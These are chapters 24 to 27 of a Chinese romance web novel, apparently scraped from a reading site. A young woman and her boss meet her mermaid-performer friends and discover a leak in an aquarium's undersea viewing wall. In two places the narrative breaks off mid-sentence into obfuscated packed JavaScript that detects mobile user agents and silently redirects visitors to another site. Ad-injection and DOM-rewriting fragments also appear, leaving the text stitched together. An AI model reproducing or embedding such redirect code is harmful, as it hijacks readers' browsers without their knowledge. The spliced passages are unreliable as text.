下了飞机已经是下午,扑面而来迎接他们的,是南方潮湿舒适的海风。 不算很热,二十度左右的气温刚刚好。但这也造就了一个问题——从沈市冰天雪地飞过来的两人,还穿着厚厚的毛衣和外套。 拿完行李箱,景音给裴涟撂了一句:“我去换衣服。” 接着把箱子推给他,自己钻进了卫生间。 她随身的大包包里装了下飞机要穿的衣服。景音换好一身,看见裴涟仍在原地等她。 他脱掉了大衣,有点可怜巴巴地独自站着。景音低头走过去看行李,好让他也去更衣。 裴涟从卫生间出来时,换了件绀色的休闲西装外套,领口的衬衫扣子也松了两颗。他好像还抽空抓了下头发,额前的一片刘海三七分地向两边背过去,露出了有些凌厉的眉。 景音眼前一亮。 前阵子一直看他穿冬装,裴涟又鲜少穿羽绒服,每件大衣都是沉稳又禁欲的气场,活脱脱拉开了与人的距离。 现在这副闲散又贵气的模样,才让景音反应过来,他的确是个风华正茂的富家公子。 裴涟瞥了她一眼,神态疏懒:“走吧。” 景音扁扁嘴,跟在了他身后。 一路上,他这副光鲜亮丽的模样吸引了不少路人的视线。有个外国姑娘甚至跟了他们一小段距离,在发现裴涟转过身和景音说话时,才失望地离去。 “喝不喝咖啡。”他问向景音。 景音仍不愿跟他说话,转过脸去。 听声音,他应该是自己去买咖啡了。景音回过身,背后只剩他的行李。 今天起得很早,景音困倦地打了一个哈欠,坐在行李箱上等待。 有人拍了拍她的肩。 景音转头,看见个陌生的年轻男子。 男子一副度假的打扮,拿着手机看着她,神色紧张。 “有什么事吗?”景音问他。 “美女你好。”男人有点不敢和她对视,“能给我你的联系方式吗?” 景音微蹙了眉。 她摇摇头:“不行,不好意思。” “哦……” 男人很失落地走了。 裴涟在咖啡店将这一切尽收眼底。景音懒坐在行李箱上,甚至没化妆,衣服也是一件随意的灰色连帽衫,但耐不住一张脸明艳惑人。 他拎了咖啡,走向了她。 “晚上一起吃饭。”裴涟声音有点硬。 “晚上我还有事。” “什么事?” 景音皱眉看他一眼:“我要去找我朋友玩。” 裴涟莫名不爽,嘴里的话没怎么深思就脱口而出。 “新认识的朋友?” “说什么呢。”景音瞪他一眼,“我就不能有旧认识的朋友?我考人鱼证的教练住在南海市,我们已经约好了今晚一块吃饭。” “哦。”裴涟淡漠点头,“行。” 两人又一路沉默地去到酒店。 裴涟定的酒店在海边,窗帘一拉开,对面就是海景。 现在正是太阳落山时,酒店在西海岸,正好能看见落日景色。窗户外透进一大片金色的影子,充斥了整个房间。 景音被吸引,走上阳台,吹起了海风。 金黄一片的天际正泼出无限光辉,她扶着阳台护栏,注视着橙红如火球的太阳消失在海平面。 心情终于通畅了些。 刚要转身进卧室,她看见隔壁阳台,裴涟正靠在门框上盯着她。 景音被他看得发毛:“干嘛。” 差点忘记自己是来出差的。 裴涟眼眸放得很低,什么话也没说,转身回了屋。 不知味的情绪攀上景音心头。 昨晚她气得骂了他一句骗子之后,就回了房间。 他的欺瞒固然让景音难受,但平心而论,他提出的那些措施,确实能让珍珠岛变得更好。 这就很矛盾。 景音一边觉得,裴涟没义务跟她讲买下珍珠岛的个人原因,一边又讨厌这件事是由自己发现的。 她回了房间,正巧接到了朱昭懿的电话。 对面的女声温温柔柔的:“小音,下飞机了?” “嗯。” “那正好,我们开好包间了,我给你发地址,你现在过来啊。”朱昭懿声音带笑,“对了,把你老板也带来,大老远来一趟,让人家一个人在酒店多不好。” “……不用了吧,他和你们都不认识,我怕他尴尬。” 朱昭懿有些嗔怪:“都是同行,来了不就认识了?这饭店按人头交费,钱已经付过了,别让我白花钱啊。” 挂了电话,景音揉了揉额角,她只好去敲裴涟的门。 裴涟很快开了门,神色莫名。 “我朋友叫你一起去吃饭。”景音看着门框。 “行。”他挑了挑眉眼,“等一下。” 景音瞧见他进屋披上了外套。 两人一起打了辆出租。南海市是个旅游城市,现在已经接近旺季,路上多少有点堵。 景音找机会用余光瞥了眼裴涟,发现他竟然睡着了。 近距离看,他的皮肤很好。白皙又平坦的脸颊没什么痘印,也很难找到毛孔,大概天生丽质不过如此。 盯着他的脸,景音突然想起昨晚那个吻。 昨晚,她没机会问他为什么要故意来她房间。如果是想要接近她,那为什么,亲完之后又急忙跑了? 她越想不通,就越在意。但这件事问出嘴,好像就有点丢脸。 景音索性也闭眼小憩。二十分钟后,司机停车叫醒他们:“到了。” 两人下了车。 这家饭店的门头金碧辉煌,霓虹灯照着刺瞎人眼的程度闪着,门口是一排棕榈树,冲着客人招招摇摇。 景音瞅了眼自己身上的运动卫衣,感觉有些格格不入。 旁边裴涟一身闲适散漫的派头倒是很匹配。 景音有点闷闷不乐:“走吧。” 裴涟插兜跟在她身后。 这家饭店的服务人员都穿着民族服装改良的工作服,很有南国风情。满脸笑容的服务员带他们来到朱昭懿的包间外,帮他们推开了门。 里面坐了五个女人,清一色的面容姣好、长发垂腰。 “小音!”正中间的朱昭懿冲她招手,“欢迎!” 景音端起笑容走进去。 “大家好久不见。”她慢慢坐下。 没人回应她。大家的目光都盯着裴涟,一副微微震惊的模样。 景音:“……” 裴涟好像没料到这里全是女性,微怔了一下后又恢复如常。 他坐在了景音旁边的位置,对面的金发女生朱鑫最先反应过来:“小音,这你老板啊?” “……嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703480|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好家伙,这么帅,我还以为是你包养的男大学生呢。” 景音正端起茶杯喝了口水,听了差点喷出来。 本来大家都知道这是句玩笑话,但裴涟突然轻轻笑了一声。 他笑声有些无奈,带着些肉麻的宠溺意味,好像坐实了他俩确实关系暧昧。 景音听得起了一层鸡皮疙瘩,其他人的眼神顿时变得不一样起来。 “你笑什么?”她实在没忍住问他。 裴涟只耸了耸肩,什么都没说。 朱昭懿打断他们:“好了好了,别打情骂俏了。小音快给我们介绍下。” 景音于是放下茶杯,别别扭扭地对众人说:“他叫裴涟,是我老板。” 然后又假模假样地冲着裴涟介绍:“小裴总,她们都是我以前一起训练的同伴,中间这位大美女就是我教练,你可以叫她朱姐。” 她特意重重地咬在“小裴总”三个字上。 裴涟神色如常:“诸位好。朱姐好。” “不敢当,不敢当。快尝尝我们这的特色菜!” 朱昭懿很热情大方,她妹妹朱鑫则有点活泼过了头。景音跟朱鑫是同一批训练的,关系比较好,年龄也相仿。 另外三人她只打过照面,不太记得名字,但她依稀记得有两人是朱昭懿很多年的搭档,另一个是早她一期的学员。 一帮女人在一起,难免要喝点酒。尤其朱昭懿她们五人私下相熟,这顿饭吃着吃着,突然变成了几个女人凑在一起喝酒。 景音有了上次的前车之鉴,再也不敢当着裴涟的面喝酒,其他人也没勉强她。 酒过三巡,这帮女人糊涂了起来。朱昭懿突然要跟景音碰杯,嘴里喊着:“感谢小音给我们带来这么养眼的小帅哥,干了!” 景音干笑着喝了一杯雪碧,偷偷看了眼裴涟。 裴涟保持着完美的微笑,好像别人说得不是他。 桌对面那个黑发看起来文文静静的女孩子端着酒杯走过来:“小裴总,跟我干一个吧!我太喜欢你这种类型的了……” “去去去,这是人家小音的人!”朱鑫拍她,“你调戏男人调戏惯了?朋友夫,不可欺!” 景音知道跟这帮醉婆解释没有用,但,她心里居然还真冒出了点不知味的情绪。 裴涟煞有介事点头:“我是她的人。” 景音皱着眉看了眼他桌上的酒杯。 冒着泡,不是酒啊? “哎哟哎哟,我喝多啦~” 黑发女生佯装醉意向朱鑫身上倒去。朱鑫对她一通笑骂,两人你打我一下,我打你一下。 景音陪她们喝了太多雪碧,觉得有点憋不住。她站起身,冲一屋子女人喊着:“姐姐们,我失陪一下去趟卫生间哈。” 没人理她。一帮人正互相指点笑闹,景音的声音被完全淹没在她们的笑声里。 她耸耸肩,打开包间的门。 包间离卫生间还挺远,她弯弯绕绕才在尽头找到了卫生间。 洗手时,景音才想到,把裴涟一个活男人留在那里,应该不会被那几个女人拆吞入腹吧。 她加快了洗手速度。 景音不知道的是,自己刚关上门,那通笑闹瞬间鸦雀无声。 五个女人坐回原位,审视的眼神看向裴涟,房间内顿时充满威压。 裴涟挑了挑眉,好像被眼前突变的状况惊了一下。 他仍保持着得体的微笑,从容打破了沉默: “时间很短,想问什么?” 25. 误会 景音回来时,朱家两姐妹正抱在一块喝酒,另外三人也在互相聊天。 想象中的画面没有出现,反而裴涟跟被孤立了似的,独自坐在角落喝茶。 她没想太多,坐回了自己的座位。 等到她们都吃饱喝足,朱昭懿才突然想起来似的问景音:“小音啊,你说你们是来考察的?考察哪个海洋馆啊,不会是我们馆吧。” 景音点点头:“就是你们馆。” 朱昭懿她们五人,是南洋湾海底世界的美人鱼团队。这家海洋馆靠海而建,有一个房间沉浸在浅海中,可以直接观察到海底。 这也算是独一无二的特色,全国仅此一个。 “门票买了吗?”朱昭懿又问。 景音看向裴涟。 南洋湾海底世界并不是环宇集团的产业,他们想来没有上次的贵宾待遇。 这趟出行被裴涟一手包办,她连证件都放在他那。 裴涟轻点下巴:“买好了。” “哎呀。”朱昭懿一脸遗憾,“你要是早点告诉我,还能给你们预约两张酒店的套票。” “酒店套票?” “对呀。”朱昭懿冲她眨眨眼,“就那个海底套房。” 这家海洋馆有自己的酒店,就在海洋馆隔壁,几间海底套房挨在一个超大鱼缸底部。住在里面,拉开窗帘就能看到冰蓝的海水和游鱼,仿佛真的睡在海底。 不过价格十分昂贵,也很难订到就是了。 景音一直很想体验一下,不过这趟是来出差,裴涟定的都是商务酒店。 她们又拽着景音闲聊了会儿,什么行业的发展趋势,新的表演技巧等等。 景音前阵子带了五个徒弟都跑了,此刻感觉和她们有说不尽的话。 裴涟在一边安静听着。 等这场聚会散去,时间已经很晚了。 因为第二天还能看到她们,景音并没有觉得很不舍。 坐出租回到酒店,裴涟又跟着景音去旁边的便利店。她难得挺开心,一路哼哼唧唧着小曲,只是仍没和他说话。 听着她的声音,裴涟却难以提起心情。 那几个女人单独和他说的话,仍盘旋在脑海里。 “小音刚来的时候很怕水,但她潜起水来不要命,我都怕她会把自己淹死。” “不到身体的极限不上来。” “一度以为她是来讹我们的,没想到她是真的来学美人鱼表演的。” “你是她老板,一定要多注意她这种情况,她现在还这样吗?” “我觉得她比以前开朗了不少,她以前到出什么事了?我们问过她,但她从来不说。” 裴涟发现,自己一个字也答不上来。 从大二那年出国后,他和景音就彻底断了联系。景音很少发朋友圈,别说窥探她的生活,她的人几乎从他生活中消失了。 两人的共同好友也少。他和她唯一的那个共友,更是不会向他透露半点景音的事情。 他不知道景音到底有什么心理疾病。 但她能变成现在与常人无异的模样,一定独自面对了无数黑暗的夜晚。 他垂下眼眸。景音正蹲在个架子前面,低头看着什么。 长发落到她脸颊边,挡住了半张白皙的脸。她样子极为认真,甚至有几分可爱地在钻研着货架上的商品。 裴涟轻蹙了眉,眼底闪过疼惜。 她都经历过什么?她是不是很孤单?她现在,真的康复了吗? 景音拿起个盒子细细端详,嘴里念念有词: “0.01……极润……四合一……?” 裴涟:“……” 再往架子上一看,摆着一面红红粉粉的小盒子。 裴涟声音有些晦涩:“……景音。” “嗯?” “你看这个干什么。” 景音扭过头瞅了他一眼,面色严肃:“你说呢。” 裴涟把她从地上拎了起来:“去结账。” “……我还没挑好呢。” 她在裴涟威胁的视线下,只买了瓶水就回了酒店。两人之间的气氛似乎凝结了,谁也没开口说话,只不过一个是赌气,另一个是生气。 出了电梯,男人沉默的脚步踩在铺了软地毯的走廊上。咚咚咚,步伐极快。 他的房间比景音的近。裴涟驻足刷了房卡,刚要推开门,感觉手腕被轻轻扯了扯。 回过头,景音正低着头,表情不情愿似的拉着他。 裴涟心弦轻颤了下。 但他很快寻回理智:“景音,我不会答应你的。” 他努力做出了漠然的语气。 景音有些气恼:“昨天明明是你先……” 裴涟轻叹了口气。 “你不想对我的感情负责,却想……和我……” 他突然说不下去了。景音鼓起勇气抬眼看向他,发现他面色有些绯红。 “你这种行为是病态的,知道吗。”他义正言辞。 景音轻哼了声,扭过头不看他。 很明显,她知道自己的行为是什么意义。 裴涟无端的一阵烦躁,当着她的面关上了门。 进屋后,先脱去衣服泡了个澡。 他特意把水温调低了些。 修长的身躯浸没在浴缸里,琥珀色的眼底,那股茂盛生长的癫狂才逐渐平复些许。 手机响了。 他伸手拿过,一条短信映入眼帘。 程涣舒:「哥支的招效果怎么样。」 裴涟揉揉太阳穴,有些恶狠狠地回复:「很差。」 其实不是很差。 是效果好得,过了头。 这其实不赖程涣舒向他传授的“经验”。任谁能想到,景音是这样一个先吃干抹净再说的性格。 程涣舒又发来条消息:「这样都没成功?那姑娘是不是性冷淡?」 裴涟:…… 裴涟:「滚。」 次日,两人都起的很早。 酒店含早,景音碰巧在电梯门口和裴涟相遇,就一起下了楼。 今天裴涟穿了件帽衫外套,内搭了件白色T恤,颇有点青春洋溢的味道。景音出门前也稍微打扮了一下,对着电梯门看的时候,两人的气场相融地很完美。 两人的视线在电梯门上相遇。 “哼。”景音别开眼神,“小气鬼。” 裴涟:“……” 吃完早饭,他们打车去南洋湾海底世界。 裴涟带了个平板,应是打算边逛边记录东西。景音就轻松的多,包里就装了瓶水。 远远地,在出租车上就看到了南洋湾酒店。酒店设计的像一片修长的棕榈叶,极具现代化的同时又独树一帜,给人印象深刻。 下车后,他们发现气温已经逐渐攀升起来。 穿着两件衣服已经有些热,两人都脱掉了外套。 海洋馆门口已然排起了队,旅游团和散客都很多。 景音唏嘘:“不愧是南部最大的旅游城市,季城要是有南海市一半的游客量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730210|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,王馆长也不至于天天发愁。” “现在发愁的好像是我。”裴涟睨她一眼。 罢了。 景音思忖着,还好王馆长没钱,不然那阵子买了新的表演动物,就没她啥事了。 进了海洋馆,这里也有一间很大的“鲸鱼停放处”。不过,南洋湾这里的鲸鱼不是骨架,而是一整只抹香鲸标本。 同时,空气中弥漫着一股福尔马林味道。景音看见这个馆内四角都有巨大的换气空调,但仍无济于事。 许是这个原因,观看的游客待的时间都不长,看一眼就急忙去了下一个目的地。 两人也很快走了。 景音看见裴涟拍了照,又在平板上记下什么。 这里还有一间巨大的热带造景鱼缸,养了许多珍惜的热带鱼类和海葵,许多种类景音都是第一次见。 她也学性大发,对着鱼缸一顿拍照。 两人都收获了很多。 逛了一半,景音看了眼表,到了美人鱼表演的时间。 于是她带着裴涟,跟着门票上的地图指示,找到了海洋剧场。 这里的海洋剧场同珊瑚岛一样,单独腾出了一面大鱼缸用作表演场所。不过这个鱼缸,要比景音的更大更豪华,造景也丰富得多。 原因很快出现了—— 优美的音乐声响起,五条颜色各异的美人鱼从水中穿行而现,她们手拉着手,在水下一起翩翩起舞,仿佛童话里才能看到的画面在这一刻具象化。 景音不是第一次看她们合体演出,但仍然和周围的游客一样,很感动地鼓掌。 看完表演,景音语气激动:“我去排队合影。” 裴涟坐在位置上,看她像个小孩一样站进队伍,一脸期待地等待自己的顺序。 和景音互动的是朱鑫。 朱鑫吐出一个气泡,迅速用手划成一个爱心。景音很开心,举起手机拍了好几张照片。 裴涟静静看着,在平板上“海底表演”后面打上了几个字。 很快有个昨天聚会上的女生出来找景音,两人跟裴涟打了个招呼,就去她们办公地点参观了。 裴涟坐在原位。过了会儿,一头金发的朱鑫也来了。 她头发还湿着,像是换了衣服就立刻到剧场里来。 观众席已经散得差不多,朱鑫一眼看见裴涟坐在这里。 她上前打招呼:“裴总,今天你一个人过来了?小音没来呀。” 裴涟微皱了眉,但仍告诉她:“景音跟你同事去你们办公室了。” “哦。”朱鑫点点头。 “你刚才不是还和她互动了吗。” “是吗?”朱鑫笑了笑,“水底下看不清楚,小音还来跟我互动了?拍照了没?我得管她要照片去。” 裴涟极短地怔了下,回她:“拍了。” 朱鑫高高兴兴地走了。 裴涟坐在原位,大脑闪回了一些画面。 无论是景音还是今天这五人,她们和游客拍照时都极有互动性,以至于让游客们觉得她们和自己一样,可以清楚地看见彼此。 他从来没想象和体验过,在水下睁开眼。 原来竟是看不清的。 也就是说——他第一次去珍珠馆考察时,景音隔着亚克力墙对他印下的那个吻,其实是个误会。 怪不得,她在水里时笑容如常,后来再见到他,面色却活像见了鬼。 而他,却因为那个吻…… 裴涟失笑。 真是阴差阳错。 26. 漏水 从员工电梯下来后,景音恍然有种错觉,好像回到了大半年前自己第一次来这里的时候。 那时她已经开始看心理医生,状态有所改善。心理医生建议她多交朋友,于是她选择在某天课程的间隙,告诉了朱鑫自己学人鱼表演的原因。 没说太多,只说是为了老家海洋馆的一只白鲸。 朱鑫听了大为感动,但更多的是一些难以置信和担心。 因为,连半只脚刚踏进这个圈的她都知道,真人表演取代动物表演,这几乎是一个不可完成的目标。 大多数海洋馆,会选择两者共存。 她的目的被别的学员听去,有的人说她“理想主义”,更有甚者,景音听见过有人私下叫她“圣母”。 这个词,以前她也听邓昌安说过。 “馆里那么多鱼,她怎么不去救?”这是她初到珍珠岛时,听见邓昌安在王馆长办公室说的话。 景音也试着在心里回答邓昌安这个问题,最终是无解。 她只想尽力,做到“再努努力说不定就能改变”的事。 万一,自己就是能够掀起一粒小小的沙子呢。 但是,没有人在她这个目标上持积极的态度。 景音绕过一条走廊,远远看见裴涟仍坐在剧场内等她。他也没闲着,把外套垫在膝上,拿着电子笔在专心写些什么。 是的,没有人,直到他来。 景音这才发觉,在裴涟拒绝股东之前,自己从未跟他讨论过“为什么不要引进动物表演”。 好像这件事是理所应当,是自然规律,是无需解释就能够懂得的基本道理。 但这道理,仿若只有她和裴涟懂。 她走到裴涟身边站定,有什么情绪压抑着想要冲出。裴涟察觉到她的到来,抬头看她:“我还以为你把我扔在这了。” 景音扯了扯嘴角,露出一个勉强的笑。 “都聊什么了,这么久。”裴涟问。 “找朱姐帮我引荐了这里的白鲸伺养员,问了问小猪的事。” “小猪怎么了。” “嗯……”她斟酌了一下用词,“我觉得它情况不太好。” 她的回答并不完整。 她方才跟伺养员描述了小猪的状态,询问有没有什么好的建议。 得到的答案和她在文献上看的基本无二:放生。 但是即便是放生,也需要严苛的条件和长久的野化训练,以及,一笔巨大的费用。 无论是她,还是珍珠岛,都出不起这笔钱。 裴涟皱眉看着她,显然很重视她的话。 “有什么我能做的吗。” “没有。”她几乎是立刻回答。 她不知道裴涟为什么选择一个偏僻的小海洋馆练手,而不去自家集团的随便什么地方享受太子爷的身份。 她只知道,裴涟确实没有把经营珍珠岛当做儿戏,这也是她没办法真的跟他生气的原因。 他做的已经够多了。 裴涟看她的眼神,显然有更深层的含义。但他没再多问,两人并肩朝下一个馆走去。 路上的游客逐渐变多。前方设置了排队的护栏,景音反应过来,他们已经走到了南洋湾最具特色的地方——那个建在浅海的展馆,真正的海底世界。 游客们被护栏凹成一条曲折的长队。队列的尽头有检票员在检票,再前方,是一个通往地下的楼梯。 两人站在队伍末尾,一点一点向前挪着。速度越是慢,越叫人期待等下会看见的景象。 终于轮到他们检票了。 景音怀揣期待,从检票员手里接过票根,和裴涟一起下了楼。 楼梯比一般楼层要深,景音觉得大约下了两层楼,才豁然开朗。 这里是一个昏暗又狭长的展馆。 然而她已经无暇关注屋内,注意力都被另一边透明的长窗吸引。 近处的海底被安置了些冷光源,依稀能瞥见几丛珊瑚和小鱼。再往深处,则是无尽的深幽,带着漩涡般吸着人的视线。 景音竟一时看得呆住,脚步也停下了。 “怎么了?”裴涟看她有点不对劲。 景音眼神木讷。 半晌,才回答他:“我有点害怕。” 看不见底的黑暗,带来的是最原始的恐惧。 即便她知道自己是潜水高手,看到这样窒息的深邃,突然觉得身体和理智都被一股力量威胁。 深埋在脑海里的记忆有点松动。 同样是在她身边。少年无力的身体,随波荡漾的双臂,紧闭的眼。 越来越远的水面…… 不知觉间,手指已经冰凉。然而她刚察觉到自己的恐惧,手指就被人紧紧握住。 温暖的力度唤回一些理智,景音低头,看见裴涟牵住了她。 手心紧密贴合,温度亦在传染。 景音似乎找回了勇气,抬头冲他一笑。 “我一直很想来这里参观。”她平缓了不少。 裴涟低眸看着她,侧了侧头:“我陪你过去。” 习惯了这种幽深,其实也没什么可怕的。它在与不在,并不会因为主观意识而受到影响,反而聚焦在近处之后,那抹黑暗彻底沦为了背景板。 景音蹲在厚厚的亚克力墙边,很快发现不远处有几只海胆,黑黑的尖刺很明显。 她有些激动地跟裴涟说:“那边有海胆。” 不是海洋馆里的海胆,是大海里的,野生的海胆。 裴涟也盯着一处:“那里还有海星。” “我还没在海里潜过水呢,有机会一定要去一次。”景音鼓起了兴致。 裴涟竟有点不敢相信。 “你一直在泳池里潜水?”他问,“这不是浪费……啊。” 他突然止住了话头。 “发现你是地球NPC的证据,你卡了。”景音觉得好笑,伸出手在他眼前晃啊晃。 “……我想到一件事。” “?” 裴涟抿了抿唇角:“我之前打算在过年前拍一只珍珠岛的宣传片。你要不要考虑配合一下,拍个外景。” “……什么外景?” “人鱼在海中的外景。” 景音轻瞪着双眼。 “只需要几秒钟的画面。”裴涟补充。 “宣传片中惊现海边的人鱼,当然会更好看。”景音笑了笑,“我有理由拒绝吗?” 她的手被裴涟晃了晃。 “明天就拍。” “明天?” “嗯。我现在改签机票。” 景音随即想过来,南海市的确是他们能找到拍外景最好的地方。 天蓝,海水也蓝,最主要的是——暖和。 季城虽然也靠海,但现在冻得要死,这天气去海边拍外景,她不得直接拍出工伤。 人鱼裙就更好办了,可以跟朱昭懿她们借。 裴涟站的笔直,从手机上操作机票的事。景音看着累,拉他坐在了墙边的椅子上。 趁这功夫,看着海底发发呆。 为了能更好的看清海底,室内只有很浅的光线。幽暗让她有点难以集中注意力,她漫无目的的看着一处珊瑚,忽然发现视野内离她很近的墙内侧,有一处在闪着暗暗的白光。 视线不自觉在那处聚集。景音很快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来,那地方是一处反光,反射的是海底的冷光源。 怎么会有反光? 她从椅子上起身。由于角度的改变,那块白光很快消失。景音仍凝着那里——透明墙和实体墙相交界的底端。 她蹲下,伸手摸了摸。 一片潮湿。 景音盯着手指,犹豫了一下,舔了一口。 咸咸的口感,让她大脑嗡地响了一声。 她有些慌忙地站起来,转过身去拉裴涟:“快上去,墙缝漏水了。” 裴涟神色微变。 景音觉得自己像在滑行,两步就来到墙角。 这里站了一个带着工牌的工作人员。他正负手看着不远处,那里有个青少年趴在透明墙上,眼睛都快贴上去了。 景音居然有些生气,他怎么能这么泰然自若地看着,什么都不做? “中段底部的亚克力墙缝漏水了。”她声音居然有点哑,“疏散游客,叫你们负责人来!” 这名工作人员愣愣地看着她,两秒后,才反应过来景音在说什么。 他悠闲的神色终于紧张起来:“在哪里?” 景音知道疏散游客这件事非同小可,定会引起游客的恐慌,甚至影响声誉。工作人员断不会相信她的一面之词,肯定要亲自检验。 她转身要带他去看,回过头才发现裴涟仍跟在她身后。 “你快上去。”她暂时顾及不上他,只来得及对他这么说。 万一真要出现意外,现在的时间就是一切。 工作人员在她指的地方看了看,立刻神态紧绷地拿起腰间的对讲机:“李组长李组长,来海底房看一下,疑似发现墙体漏水!” “你就不能先把游客疏散开?”景音在一边干着急。 这工作人员支支吾吾:“我……万一是误判呢?” 身后裴涟一直跟着,直到这时听见他们的对话,突然拉起景音。 “好了。”他面色严肃,“这里不是我们馆,你做到这一步就可以了。” “可是……” 景音看向四周。这里仍有很多游客,甚至还有家长抱着一两岁大小的孩子。 她眼神闪过忧色:“这些游客怎么办?” “南洋湾的实景浅海馆,游客平均游览时间是七分钟。”裴涟放缓了声音,“我做过功课,这种渗漏程度虽然需要尽快维护,却不会瞬间出现意外。旧的游客看完会走,但还会有新的游客下来。” 景音隐约明白了他想做什么。 裴涟拉着她上了楼梯。几个游客正在下楼,景音克制住自己想叫住他们的冲动。 “门票给我。”裴涟冲她伸出手。 景音从包里掏出门票递给他。 同时,他们回到了楼梯上的检票口。 检票员看见他们要上来,伸手拦住了他们:“走错了,这里只能进,不能出。” “你把我门票撕坏了。”裴涟一副高高在上的态度,“这是我和我女朋友的纪念,你得赔我张新的。” 检票员是个年轻小伙子。他看了眼裴涟手里的票,方才还完好无损的票根此刻被撕开一个大口子。 “每张副票我都撕的整整齐齐,你这怎么可能是我弄的?”检票员不太高兴。 裴涟跟他理论了起来。 后面长长队列的怨声越来越大,检票员有苦说不出,最后警告裴涟:“你再无理取闹,我要叫保安了。” “来了。”景音轻拽了拽裴涟的衣服。 一个经理模样的男人,带着两个穿工服的员工匆匆走了过来。 男人似乎无暇顾及他们的争论,对检票员吩咐:“停止检票。” 27. 海底套房 检票员以为自己听岔了:“啊?” 但李组长已经带着人下了楼梯。 长长的队伍已经等烦了,离他们最近的游客听见了那句指示,更加大声的抱怨:“还让不让人看啊?” “就是,搞什么呢。”后面的人跟着斥责。 “散了散了,不等了,浪费时间。” 前几个人走了,后面一队人不明所以,大多跟着一起散了。只剩几个零星的游客,不甘心地凑上前询问。 检票员被缠住,一时无法顾及景音他们的情况。 景音望着楼梯下面:“这种事件可遇不可求,我想下去看看人家是怎么处理的。” 裴涟瞟了她一眼,抱起了双臂。 “那也是你在上面,我下去。”他恢复了淡然的姿态,“万一那墙真炸了,咱俩不全军覆灭?你得在这等着捞我啊。” “……”什么乱七八糟。 检票员应付完游客,回头看他两人还在楼梯口,于是好言相劝道:“你那票真不是我撕的,你们快走吧,我们工作人员可能要处理点事。” “刚才不好意思。”裴涟放下双臂,“这是我自己撕的。” 检票员一脸的疑惑茫然。不等他说什么,突然又有游客从楼梯底下上来。 “怎么回事?”检票员忙拦住一人。 被拦住的是方才景音在下面见过的一个少年。他表情有点莫名其妙:“听他们说要对底下进行什么维护,把我们都赶上来了。” “啊?” 与此同时,外面又匆匆跑进来几个工作人员。他们在门口立了围栏,开始赶着还留在这里的游客。 景音和裴涟也被请了出去。 景音还有些惋惜地回头看:“可惜没能旁观一下。” “修复的事还不用你操心,馆里的维修师傅会处理就可以了。”裴涟走在她身边。 这会儿松懈下来,景音又想起刚刚他故意找茬拖延时间时,跟那检票员说她是他女朋友。 当下她没计较那么多,现在反应过来。 裴涟居然在那么着急的时刻,还能占她便宜? 她抬眸瞧了眼裴涟。 不不不。 这么清润漠然的模样,怎么会从口头上占她便宜呢。 那一定都是他的权宜之计。 两人又去科普馆逛了会儿。有某处漏水消息似乎不胫而走,景音不止一次听见有游客在悄声讨论这件事。 在看一块菊石化石的时候,裴涟收到了摄影师的电话。由于他们定的时间太紧,只剩明天傍晚有拍摄时间了。 也就是说,他们有了今天一下午,和明天近一天的自由时间。 没想到出差还能休息,这让景音感觉放松不少。她在心里盘算着哪天去深潜时,裴涟的手机又响了。 景音瞥见是个陌生的号码。裴涟礼貌接起电话,语气从容:“您好。” 说完这句话后,他就陷入了沉默。对面的人似乎讲了很多,裴涟认真听着。 挂电话前,只说了一句:“好的。” “怎么了?”景音有点好奇。 “是南洋湾的馆长。”裴涟也一副没想到的样子,“他们根据购票信息找到我的手机号,想要当面感谢我们发现了漏水。” “……啊?” 裴涟点点头,看着她的眼神似有深意。 景音低头琢磨了几秒,唯想到一个解释比较靠谱。 “他们是怕我们把这件事声张出去?” “也许吧。她邀请我们去三楼的办公室。” “去就去呗。”景音倒是不慌,“就当学习人家公关手段。” 裴涟的想法跟她差不多。 两人找到一台员工电梯,上了三楼,根据电话中留的信息找到馆长办公室。 敲了敲门,里面立刻有人回应:“请进。” 推开门,景音第一感觉是,这才像个馆长该有的办公室。 这里比王馆长和裴涟那里大近两倍,办公桌和书柜都是黑胡桃木材质,低调而不凡。展示柜上不仅有许多厚厚的海洋生物相关书籍,还有一些奖杯。 办公室里,只有一个女人坐在房间一侧的茶桌前。她看起来四五十岁,保养得很好,一双眯眯眼看起来十分好相处。 “是裴先生和景小姐吧?快请坐。”女人冲他们一笑,“监控我都看了,感谢您两位做的事,帮我们把影响缩到了最小。” “您太言重了。”景音坐在她对面。 女人给他两人沏了茶,又说了些客套的感谢话。她说自己是南洋湾新任的馆长,姓李,出了这种事是她业务能力还不够,让他们受惊了。 大约一杯茶见底,对方才露出真正的意图。 “您没把这事发到网上吧?”李馆长笑容依旧。 景音刚想否认,然而裴涟先一步回答∶“这个经历确实很惊险,要不是我女朋友发现的及时,不知道你们要什么时候才能发现呢。” 景音挑了挑眉,怎么又开始了。 “啊。”李馆长表情有些汗颜,“您说的对,这的确是我们的疏忽。我刚上任,还有些不太熟悉,浅海馆建成有好些年了,维护和检查都应该比以前更细致。” “所以是亚克力墙体质量有问题?” 李馆长摇摇头:“估计是施工老化问题。” 两人突然就这一问题深入讨论了起来。李馆长听出裴涟是个内行,又跟他说了好些关于亚克力墙体更专业的事情。 景音也不自觉认真听着,心想裴涟这一趟还真不白来,套了人家这么多经验。 